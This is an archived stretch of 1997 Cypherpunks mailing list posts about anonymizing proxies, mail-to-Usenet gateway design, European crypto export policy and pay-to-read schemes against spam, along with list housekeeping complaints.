> In> FEMA                 Federal Emergency Management Agency
> In> FMS                  Financial Management Service
> In> GPO                  U.S. Government Printing Office
> In> GSA                  U.S. General Services Administration
> In> HHS                  U.S. Department of Health and Human Services
> In> HPCC                 NOAA High Performance Computing and
> In> Communications IRS                  Internal Revenue Service
> In> JUSTICE              Justice Department
> In> NARA                 National Archives and Records Administration
> In> NASA                 National Aeronautics and Space Administration
> In> NCDC                 National Climatic Data Center
> In> NIMH                 National Institute of Mental Health
> In> NOAA                 National Oceanic & Atmospheric Administration
> In> NSF                  National Science Foundation
> In> NTIS                 National Technical Information Service
> In> SBA                  Small Business Administration
> In> SEL                  Space Environment Laboratory
> In> STATE                State Department
> In> TREASURY             Treasury Department
> In> USCODE               U.S. House of Representatives
> In> Internet Law Library U.S. Code
>
> In> CANADA
> In> CSE                  Communications Security Establishment
> In> CISC                 Criminal Intelligence Service Canada
> In> CSIS                 Canadian Security Intelligence Service
> In> SIRC                 Security Intelligence Review Committee
> In> UNITED KINGDOM       CIM Central Intelligence Machinery
>
> In> CANADA
> In> DJC                  Department of Justice of Canada
> In> FORENSIC             The Forensic Web
> In> RCMP                 Royal Canadian Mounted Police
> In> SGC                  Solicitor General of Canada
>
> In> UNITED NATIONS       UNCPCJ United Nations Crime Prevention &
> In> Criminal Justice
>
> In> CANADA
> In> CFC                  Canadian Forces College
> In> DREO                 Defense Research Establishment, Ottawa
>
> In> UNITED KINGDOM
> In> ARMY                  The British Army
> In> CDA                   Centre for Defence Analysis
> In> DRA                   Defence Research Agency
>
> In> NATO                  North Atlantic Treaty Organization
> In> SACLANT               Supreme Allied Commander, Atlantic
> In> SHAPE                 Supreme Headquarters Allied Powers Europe
>
> In> BECCA                 Business Espionage Controls & Countermeasures
> In> Association
> In> CRYPTOLOG             Internet Guide to Cryptography
> In> DCJFTF                Washington, D.C. Joint Fugitive Task Force
> In> WANTED                "The World's Most Wanted" (Fugitives and
> In> Unsolved Crimes)
>
>
>Ciao
>
>Harka
>
>/*************************************************************/
>/* This user supports FREE SPEECH ONLINE     ...more info at */
>/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
>/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
>/* PGP public key available upon request.  [KeyID: 04174301] */
>/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
>/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
>/* May there be peace in this world, may all anger dissolve  */
>/* and may all living beings find the way to happiness...    */
>/*************************************************************/
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.2
>
>iQEVAgUBMv7aGjltEBIEF0MBAQF1CAf+MyLUa3sBKCAuxhzCZ0tQqP3jxAjQpIuV
>WdsTCW9L3jPwLdZ9BmqeqAuaIU4JQzCpEx5bgKdzGThF5mG2U4XaeOcD4gBpWZyz
>sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8
>3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j
>6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni
>2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig==
>=s4om
>-----END PGP SIGNATURE-----
>
>
>If encryption is outlawed, only outlaws will have encryption...
>
>
>
>
>------------------------------
**********WHY AM I RECEIVING 346 MESSAGES THAT ORIGINATED WITH
CYPHERPUNKS@TOAD.COM?  I AM UNABLE TO USE MY E=MAIL BECAUSE OF THE MESSAGES
THAT HAVE ACCUMULATED.  EVERY SINGLE ONE OF THESE MESSAGES REFERENCES YOUR
ORGANIZATION.  I HAVE NEVER ACCESSED ANYTHING THAT HAD TO DO WITH YOUR
GROUP.  PLEASE ASSIST ME IN REMOVING THE ROUTING OF THESE MESSAGES TO MY
E-MAIL.  OTHERWISE, I WILL BE FORCED TO CANCEL MY SUBSCRIPTION TO THE INTERNET.
THANK YOU.

EICKFARM@SHIANET.ORG






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 18 Feb 1997 14:12:24 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702182212.OAA11971@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

edgarswank@juno.com (Edgar W Swank) writes:
> Does anyone have a list of web proxies for anonymous surfing?
> 
> I already know about www.anonymizer.com, and there was a
> "canadianizer" that would alter text to make it more "Canadian",
> but that is now apparently defunct.

There's a Zippifier (inserts Zippy the Pinhead quotes) at:
http://www.metahtml.com/apps/zippy/welcome.mhtml

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwn7vskz/YzIV3P5AQEOwgL/RhNiyJUBtcVa8o2mqmflXRDJ89QSoYHL
y7gLjhzY30/VXWUL14/m3jn3kN2EUrD9XKA12bauvST769TeRw0AAUepIsijrUAr
xKDCG2Jqe4ThLS56AuTmiJQVkDLBDJx6
=gLdy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Tue, 18 Feb 1997 07:43:18 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181543.HAA06112@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith writes:
 > From:	IN%"reece@taz.nceye.net"  "Bryan Reece" 17-FEB-1997 23:23:10.06
 > 
 > >>   use. However, I do have one problem with this recipe: lack of
 > >>   loop prevention if a news2mail gateway is going in the other direction.
 > 
 > >All the mailing-list hosts are supposed to check for duplicates before
 > >forwarding anything, so this shouldn't do anything worse than have a
 > >few extra copies of each post get discarded, loading the network and
 > >the hosts a bit more.  But posting the list to a widely-distributed
 > 
 > 	Umm... IIRC, the only person who's announced how he's filtering
 > for duplicates is Igor, and he's just checking for messageIDs. Won't
 > those get chunked on going through a mail2news gateway, and thus
 > possibly come back through a news2mail gateway?

My script preserves the Message-ID, assuming that the incoming message
has one.  Other gateways I've seen also appear to preserve Message-ID
lines (or at least messages posted through them appear to have
mail-like ID lines).  

 > The filtering
 > mechanism could be improved via MD5 digests, etcetera (someone's
 > already given a recipe for such; thank you), but even so various
 > mungings could still set up a mailing loop. (Yes, I'm paranoid
 > about those; I may have been reading list-managers for too long and
 > seen too many stories on there.) The sensible place to keep
 > track of possible duplicates is at the gateway; it can
 > certainly filter based on that it (or, for that matter, another
 > known bidirectional gateway) sent a message out.

Not immediately sending a message back to the host that it came from
does look like a good idea (it came from foo.com, so foo.com obviously
has it).  Filtering out other gateways' messages will reduce load at
the possible expense of delay (assuming a smallish network of news
servers that feed each other the list; obviously the message will
flood the majordomo net before it floods the real usenet unless
something is seriously broken).

 > 
 > >newsgroup seems wrong for noise (both to the list itself and to
 > >posters) and delay reasons.
 > 
 > 	Delay reasons being that mail will go to Usenet, go
 > all over the place there, and then get replied to later than if
 > it were just on the mailing list(s)? A potential problem, yes.

I didn't exactly say, but I was comparing a small network of news
servers feeding each other cypherpunks.list to, say,
alt.cypherpunks.list. 

 > But (especially given the options I mentioned below), this
 > would appear to be a matter for individual users to decide
 > by which list they go with and any added control headers.

I'm trying to come up with a way to provide NNTP access (and an
experimental alternative to the net-of-majordomos) that won't offend
anybody too much.  I can filter out messages that the authors don't
want sent out; I'd prefer to deal with what would make the authors
want the messages filtered out instead.

 > Maximum individual sovreignty (sp?).
 > 
 > >>   In regards to your later query about whether people want their postings
 > >>   going to Usenet, might I suggest that this be individual to the given
 > >>   distributed mailing list? In other words, since the recipe is logically
 > >>   going to have to not forward to a gateway messages from other mailing
 > >>   lists (since it's not a good idea to have multiple copies of the same
 > >>   message arriving at the gateway if it can be helped; better to filter
 > >>   it out beforehand),
 > 
 > >It doesn't seem an especially bad idea, since it 
 > 
 > 	Thank you. Were you cut off?

Yes.  Should have read:

It doesn't seem an especially bad idea to send a gateway multiple
copies of the same message, since theextra messages won't increase the
load much but will increase the reliability and decrease the
propagation time compared to a network where there are no duplicates.
The only case where filtering duplicates is certain not to hurt delay
or reliability is when the gateway in question is known to have a copy
of the message already.  Usenet uses the Path header for this; there
doesn't seem to be such a thing in the majordomo net.

 > >>   some of the mailing lists can forward and the
 > >>   others cannot. (One could even determine this behavior on application
 > >>   of the proper X-header, although I never trust various mailing systems
 > >>   to forward such intact.) The same could also be done with gatewaying
 > >>   _from_ Usenet - if the news2mail gateway feeds to whatever individual
 > >>   lists sign up to it and they _don't_ forward such messages to others,
 > >>   people can decide whether or not to receive Usenet postings on
 > >>   alt.cypherpunks.* by which list they subscribe to.
 > 
 > >The code currently running is a perl script that turns typical email
 > >messages into something INN is happy with.  It is probably possible to
 > >get your message rejected by INN if you put obsolete or otherwise
 > >unusual and illegal headers in.  This may be a bug.
 > 
 > 	That would probably depend on: A. if any other circumstances
 > other than deliberately sabotaging your message's translation would
 > also disrupt its chances of getting through seriously, particularly
 > if they weren't something you'd spot; and 

The main way to get a message rejected seems to be using obsolete
news headers on it.  If you don't want your message posted, add a
Posting-Version line to the header.

 > B. if sufficiently bad
 > messages would disrupt INN's operations too much.

No more so than a sufficiently bad news posting that came in over NNTP
(since the mails do turn into news postings over NNTP).








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 18 Feb 1997 17:13:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISP access fee rebuttal
Message-ID: <199702190113.RAA14487@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If you are interested in the on-going debate over ISP access charges, I
sugest you look at a newly published report perpared for the Internet
Access Coalition.  It stomps on the RBOC assertions that dial-in access to
the Net is having a generally negative impact on their telephone networks
from both performance and financial asapects.

http://www2.itic.org/itic/eti_toc.html

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Thu, 20 Feb 1997 06:56:06 -0800 (PST)
To: cryptography@c2.net
Subject: Re: European crypto export policy
Message-ID: <199702201456.GAA14451@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ulf Moeller wrote:

> I wonder if someone whose Swedish is better than mine could summarize
> the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html

After signing the Wassenaar Arrangement, Sweden has written it's own
ITAR and there is a subdepartment of the UD, it's Foreign Office/State
Department, the ISP (Inspection of Strategic Products), that handles
export requests, if need be with the help of the FRA, it's NSA.

A representative of the ISP says that only a handful of EU member states
are completely cleared by the Wassenaar statutes to be at the importing
end of strong crypto: England, France, Holland, Sweden and Germany.
Most other EU states could fail because it would be to upgrade them
concerning their cryptologic resources.

An example is given: the coming Swedish ID smartcard (using DES
and 512 bit RSA) would theoretically need a OK from the ISP before
being carried over the border to Denmark.

A crypto exporter (obviously hardware) complains about harassing
bureaucrazy even if Germany is the recipient.

So much about that short article. In addition to Goran Axelsson,
Sweden's representative in the EU's IT security body whom Ulf
is mentioning in his post, Swedish crypto-politics is handled
by this guy's boss (at least formally) at the UD, Magnus Faxen.
And then there is the FRA (Forsvarets Radioanstalt), a body as
secretive as the NSA. They don't officially take part in the
discussions at all.


Asgaard







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Feb 1997 14:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: JSC Security Report
Message-ID: <199702182226.OAA12236@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Redefining Security," a 1994 report to the DoD and the CIA by 
The Joint Security Commission, offers bountiful information
on US security strategies, policies, agencies, methodologies, 
and techniques, you name it, with designs for the future.

   http://jya.com/jcs.htm  (454K)

If you ever wanted to talk like the spooks, parrot this dictionary 
of NatSec ebonics.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@ALPH.SWOSU.EDU>
Date: Tue, 18 Feb 1997 17:11:37 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702190111.RAA14465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:58 PM 2/17/97 -0600, Igor Chudov wrote:
...
>It is a very good objections. I would like readers to speak up and say
>their word for or against forwarding the list messages to
>alt.cypherpunks.  If a significant number of people objects (2-3 is
>enough) I will disable this feature.

As to my two cents, I like the idea, but would ask that the usenet feed have
the scrambled address described by Cynthia H. Brown.
I don't really care to have a box full of "YOU may HAVE JUST WON ONE MILLION
DOLLARS!", if the system described by Mrs. Brown works, I would prefer this.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 18 Feb 1997 17:11:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Removal from newsgroup listing
Message-ID: <199702190111.RAA14464@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Feb 1997, Terry L. Davis wrote:

> I'm not certain how I got on the cypherpunks newlist, but it's way over 
> my head.  Please removed terryld@earthlink.com from cypherpunks@toad.com
> Thanks
> 
Another thing the new list needs...verification of subscribe requests.



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 17:11:40 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: [noise] Re: JSC Security Report
Message-ID: <199702190111.RAA14466@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:29 PM 2/18/97 -0500, John Young wrote:
>"Redefining Security," a 1994 report to the DoD and the CIA by 
>The Joint Security Commission, offers bountiful information
>on US security strategies, policies, agencies, methodologies, 
>and techniques, you name it, with designs for the future.
>
>   http://jya.com/jcs.htm  (454K)
>
>If you ever wanted to talk like the spooks, parrot this dictionary 
>of NatSec ebonics.
Great, I'll look into it.  I've been meaning to get some info on the like.
You just can't convince someone that you are one of them unless you talk
like them.
And I would like to get all relevant information to any investigations into
my activities faxed to the nearest Kinko's.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ! Drive <drink@aa.net>
Date: Tue, 18 Feb 1997 17:41:37 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702190141.RAA14890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said:
>edgarswank@juno.com (Edgar W Swank) writes:
>> Does anyone have a list of web proxies for anonymous surfing?
>> 
>> I already know about www.anonymizer.com, and there was a
>> "canadianizer" that would alter text to make it more "Canadian",
>> but that is now apparently defunct.
>
>There's a Zippifier (inserts Zippy the Pinhead quotes) at:
>http://www.metahtml.com/apps/zippy/welcome.mhtml
>
A proposal and prototype of a different anonymity mechanism can be found at:
  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ! Drive <drink@aa.net>
Date: Tue, 18 Feb 1997 17:56:43 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702190156.RAA15148@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said:
>edgarswank@juno.com (Edgar W Swank) writes:
>> Does anyone have a list of web proxies for anonymous surfing?
>> 
>> I already know about www.anonymizer.com, and there was a
>> "canadianizer" that would alter text to make it more "Canadian",
>> but that is now apparently defunct.
>
>There's a Zippifier (inserts Zippy the Pinhead quotes) at:
>http://www.metahtml.com/apps/zippy/welcome.mhtml
>
A proposal and prototype of a different anonymity mechanism can be found at:
  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 09:11:27 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181711.JAA07677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 18 Feb 1997, Bryan Reece wrote:
> Filtering out other gateways' messages will reduce load at
> the possible expense of delay (assuming a smallish network of news
> servers that feed each other the list; obviously the message will
> flood the majordomo net before it floods the real usenet unless
> something is seriously broken).

Why is it obvious that mail propagation will be faster than news
propagation?  News propagation times of small numbers of seconds are not
at all uncommon.

--apb (Alan Barrett)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 09:11:46 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181711.JAA07699@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> >Why is it obvious that mail propagation will be faster than news
> >propagation?  News propagation times of small numbers of seconds are not
> >at all uncommon.
> 
> News propagation in seconds to your _local server_, or to _distant_
> servers?

To some (perhaps many, certainly not all) distant servers, provided all
the news servers in the path run appropriate software (designed for low
latency propagation) and have reasonably high bandwidth Internet links. 
Disk to disk delays smaller than 1 second have been measured between news
servers that use software such as nntplink or innfeed to send outgoing
articles immediately.

> The Usenet is thousands of news servers, maybe tens of thousands, and
> news feeds take a while...small articles are mixed in with hundreds of
> megabytes a day of binaries. A percolation process, as opposed to a
> point-to-point process for e-mail. 

Right.  And some of those news links are fast, while others are slow.  If
two sites happen to be connected by fast news links, it's quite possible
for news between those sites to be faster than mail.

--apb (Alan Barrett)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 09:11:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181711.JAA07700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan Reece wrote:
>> obviously the message will flood the majordomo net before it floods
>> the real usenet unless something is seriously broken).

I replied:
> Why is it obvious that mail propagation will be faster than news
> propagation?  News propagation times of small numbers of seconds are
> not at all uncommon.

Sorry, I misunderstood the earlier message.  I thought that it referred
to news propagation between a small set of hosts versus mail propagation
between the same small set of mail/news hosts, and I did not see why
it was obvious that mail would be faster than news.  But actually the
earlier message refered to news propagation over the whole planet versus
mail propagation between a small set of hosts, in which case of course
news will be slower.

--apb (Alan Barrett)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 18 Feb 1997 20:26:29 -0800 (PST)
To: Alec <ichudov@algebra.com
Subject: Re: alt.cypherpunks.ebonics
Message-ID: <199702190426.UAA17296@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:16 AM 2/18/97 -0500, Alec wrote:

>A friend, who, in the CP tradition requested to remain anonymous, and I were
>doing an informal analysis of those subjects/topics which over the past year
>generated the most discussion and, by implication, interest on the CP list.
>Since the list at that time was reportedly unmoderated, we felt some weight
>should be given to members' interests/desires as measured by their posts,
>regardless of the applicability to the list topic.
>
>With the exceptions of AP (oh so clearly way off-topic),


Quite to the contrary, AP is NOT "oh so clearly way off-topic."   First AP, 
as I've sketched it uses many of the 
encryption/digital-signature/verification techniques which are often 
discussed here and are essentially universally agreed as being on-topic.  
Secondly, the _PROSPECT_ of AP (or, if you'd like, more generally, the whole 
field of cryptoanarchy, which disables the State by making it unnecessary 
and powerless) would be and probably is most of the motivation for the 
various "let's control encryption" proposals that the US government and 
others have pushed over the last few years.

On the other hand, it is equally clear that while AP is "on-topic," 
nevertheless it is quite distinctly distasteful to a few people around here 
who seem to believe that the _political_ and _technical" implications of 
good encryption can be kept safely separated.  It is obvious that you are 
one of those people.  It is equally obvious that you are not honest enough 
to admit that.  So rather than say merely "I don't like it" you try to 
embellish your claims with "oh so clearly way off-topic."



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Tue, 18 Feb 1997 21:56:26 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702190556.VAA18693@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:07 PM -0500 2/14/97, Vin McLellan wrote:
>
>        So now we ourselves burn the village in order to save it.
>
>        <nostalgic sigh>
>
>        How American!
>

Vin, your words are poignant and heartfelt.  To be honest, I share your
feelings (but I can't help but be amused that having recently decided to
resubscribe after a lengthy absence, I returned just in time to wallow into
a sea of discontent -- sorta like walking out the door of the cabin and all
the snow on the roof falling on your head -- you're cold, you're wet, and
you feel pretty damn stupid to boot).

However, the denizens of this place are a resourceful lot.  If
alt.cypherpunks doesn't work out, if the distributed mailing lists don't
work, we'll try something else.  I don't think anyone is ready to give up,
yet.

best,

john noerenberg
jwn2@qualcomm.com
  --------------------------------------------------------------------
  Ishmael gave himself to the writing of it, and as he did so he
  understood this, too: that accident ruled every corner of the
  universe except the chambers of the human heart.
  -- David Guterson, Snow Falling on Cedars, 1995
  --------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 18 Feb 1997 21:57:13 -0800 (PST)
To: "Timothy C. May" <ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702190557.VAA18700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 AM 2/15/97 -0800, Timothy C. May wrote:
>At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote:
>
>>I much prefer the plan where a potential mail correspondant includes an
>>e-cash dollar directly cashable by me.  If I like the mail (and the
>>sender), I throw the dollar away and the sender goes on the approved
>>list.  If not, I keep the dollar, and the sender goes on the twit list.
>>Paper junk mail costs an advertiser more than $1 per piece, so they'd
>>still be getting a bargain.  And potentially, some receivers may throw
>>away the dollar and welcome the spam.
>
>The basic flaw in all of these schemes is that they are "top-down"
>solutions, imposed on the market for invented reasons.

There we must disagree.  Not that "top-down" imposed solutions won't 
generally work, I agree with that.  Rather, I suggest that there are valid 
and logical market-driven reasons that people, both buyers and sellers, 
would want to adopt the system I've proposed.

The benefits for the recipient of the payment-containing spam/advertising 
are obvious. He gets money.   Admittedly it is less obvious why a seller 
would want to pay for what he seemed to previously got for free, but that's 
more-or-less the case.   More in a moment.

[snip]

>However, just "making up" a fee--as Roy does here, and as Jim Bell and
>others have done before--is not a solution either. Nor does it stand any
>chance of being "enforced" (for a large number of reasons I won't get into
>here).
>--Tim May

Yes, the charge will be "enforced"...by the market!  Here's how.  "Spam" in 
other media is termed "advertising" or "junk mail."  And advertisers pay 
good money for it, precisely because that it will drum up enough business to 
not only pay for the ad rates, but also make some profit as well.  They're 
apparently correct, because those companies stay in business for years or 
decades.   Now, you'd probably imagine that businessmen would like to see 
the cost of their advertising drop.  Superficially, you'd be right, but in 
reality if the cost of advertising on TV or radio or newspapers is an 
essential element of the system. 

To understand why, imagine that the price of such advertising dropped by a 
factor of 100.  Suddenly, anybody doing ads could do ten times as many, for 
a tenth the total cost, or any such similar ratio.  Or thousands of 
companies whose products didn't previously profit enough for such ads would 
now be able to do them, as well.  The airwaves would be flooded. There 
wouldn't be enough time for entertainment, or news, or much of anything 
other than ads.  Worse, since total advertising revenue would probably be 
down by at least a factor of 25, even assuming "only" a 4x increase in ad 
volume, there would be far less money available for producing good shows.  
With fewer, worse shows, and many more ads, the average viewers would stay 
away in droves.   Pretty soon, the VALUE of that advertising to the 
advertiser would drop...to 1/100 of what it was before.

The newspapers would, likewise, be flooded with ads.  Even local newspapers 
would look like the Sunday New York Times.  And the current newspaper reader 
might as well stay away, because it would be a rare page that actually 
contained an article, and was not filled with ads.

Junk mail, if the TOTAL cost (paper, printing, labelling, mailing, etc) 
dropped by a factor of 100, our mailboxes would be filled with paper three 
times a day, maybe more often.

Well, actually this is not true.  There are other effects which would limit 
this progression.  For example, as ad space went up, people would watch/read 
less, so advertisers won't be motived to place ads even if they are free.  
If junk mail was free, nobody would have the time to read most of it, and it 
would go into the trash even faster than it does today.  In effect, if 
nothing else limited this advertising, our patience (or lack of it) would do 
so.  The _value_ of that advertising would drop to zero, along with its 
cost.  The end result, I argue, would be occasional low-value, sporadic 
advertising that "nobody" reads and everybody hates.

Sound familiar?  On the Internet, it's called, "spam."

Classic Internet-type spam is, essentially, a "zero-cost" ad.  Not _exactly_ 
zero cost, but pretty close, at least in terms of bare cash outlay.  What 
limits Internet-spam is that if it's overdone (or, some would argue, done at 
all!) an advertiser ends up pissing off the reader, making him even less 
likely to purchase the goods or services the spammer/advertiser was 
offering.   At that point, in effect the cost of that advertising is 
"infinite," because the outlay of zero money caused a _reduction_ in sales.  

An advertiser can't force a customer to buy, and he knows it.  But what he 
wants is the customer's time and attention, even if there's no guarantee of 
a sale.  Really, what he wants is to buy the attention of a potential 
customer, maybe only few a few seconds or a minute or so.  That's what 
advertising does.  But like an ad in a newspaper or a commercial on TV 
(which the target customer can ignore, mute, or walk away from) there is no 
guarantee of contact.  

So how, you'll ask, can the "free money with spam" deal be "enforced"?  
Well, it can't, if your definition of "enforced" includes merely the idea of 
some higher legal authority like a government or a trade organization or 
something.  But if you include the idea of the participants in the market, 
themselves, "enforcing" such a payment, it can.

Let's suppose, for simplicity's sake, that we are considering two types of 
advertisers.  One has a product that few people want.  Not NONE, just few.  
It's either poor quality, or too expensive (compared to its perceived 
value), or just not particularly interesting to the majority of the public.  
The other has a product that far more people want.  It's good, or is seen to 
be inexpensive, or is interesting.    Now, the former advertiser must put 
out far more ads to make a given buck than the latter.   The latter 
advertiser wants and needs the attention of any given potential customer 
more than the former, because the latter is far more likely to satisfy the 
customer's curiosity and desires and  be able to do business with him.  

In short, the purveyor of products that more people want (products which are 
more likely to interest the average potential advertisement reader...) can 
AFFORD to pay a larger amount of money to a given ad-recipient than can the 
other advertiser, the seller of junk.  Logic suggests that in the 
competition for "share of mind," the good-product seller would choose to 
give a larger amount of money to any given ad-recipient, in order to attract 
his attention and distinguish him from the other guy, if nothing else.  
After all, that's the one thing HE CAN DO that the other guy, statistically, 
cannot.  He can say, in effect, "My ad is more important and intersting to 
look at, and I can prove it by paying you more!"  He is also saying that he 
values you, as a customer, more than the guy who can only pay less.

Moreover, if I were a potential ad-reader, faced with the prospect of 
reading "N" ads where "N" is a larger number than I really want to see, 
presumably I would like to be able to pre-separate the ads into two groups, 
the ones I'm more likely to want to read and the other pile.  Even if I were 
to totally ignore the fact that I'm more enriched by ads which contain a 
larger payment (for example if that payment were to go (hypothetically) to a 
charity of my choice) I should STILL recognize that it is more likely that 
an interesting, useful ad would be able to afford a larger payment to 
potential recipients.  Therefore, logic suggests that absent any other 
guide, I should spend my limited time reading preferentially reading the ads 
where the advertiser was willing (and able) to make a larger payment.

Were a mail-reader program equipped with the ability to collect such 
payments and change the ranking of ads, it seems logical to believe that one 
of the most frequently-chosen options would be one which presented the 
highest-paying ads FIRST, then the others in decending order of value.

There are multiple levels of self-interest at work here, reinforcing 
themselves.  First, in the short term, advertisers who pay more make you, 
the customer, richer.  But more importantly, if the customer preferentially 
reads high-payment ads, over the medium-term  the advertisers will tend to 
get the idea and will raise their payments to whatever they feel they must 
to get your attention.  Further, in the long term giving more business to 
advertisers who pay customers more will tend to strengthen those 
advertisers, leading to their dominance in the industry.

In short, like Darwin's natural-selection concept, the idea of including 
payments with unsolicited ads will simply take over.  In fact, at some point 
the concept of sending unsolicited product or service advertising (at least 
on the Internet) WITHOUT including a gratuity will become as gauche as 
exiting a restaurant without leaving a tip.   At that point, the behavior of 
millions of potential customers will, in effort, ENFORCE the practice, 
because the vast majority of the public will simply ignore advertising by 
rude, un-generous people.







Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 18 Feb 1997 21:56:05 -0800 (PST)
To: Michael Ehling <mehling@ibm.net>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from
Message-ID: <199702190556.VAA18665@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Ehling wrote:
> 
> At 10:31 AM 2/14/97 -0800, you wrote:
> <snip>
> >
> >Having been "on" the net for over 15 years -- and with experience
> >in both ends of the censorship/moderation problem  (I'm probably
> >the only Cypherpunks member to have had a book "banned in Boston"),
> >I'm sorry that a handful of sociopaths managed to destroy this
> >experiment in anarchy, but I suspect that this was inevitable.

The experiment in anarchy continues full speed.

Cypherpunks is not dead, although it will take the newly created
online communities to pick up steam. Cypherpunks mailing list simply
expanded and took another form.

Again, thanks to John Gilmore for running this list for years. His
job required a lot of dedication and effort and I am thankful to him
for what he did for it. cypherpunks@toad.com enhanced my understanding
of reality immensely.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
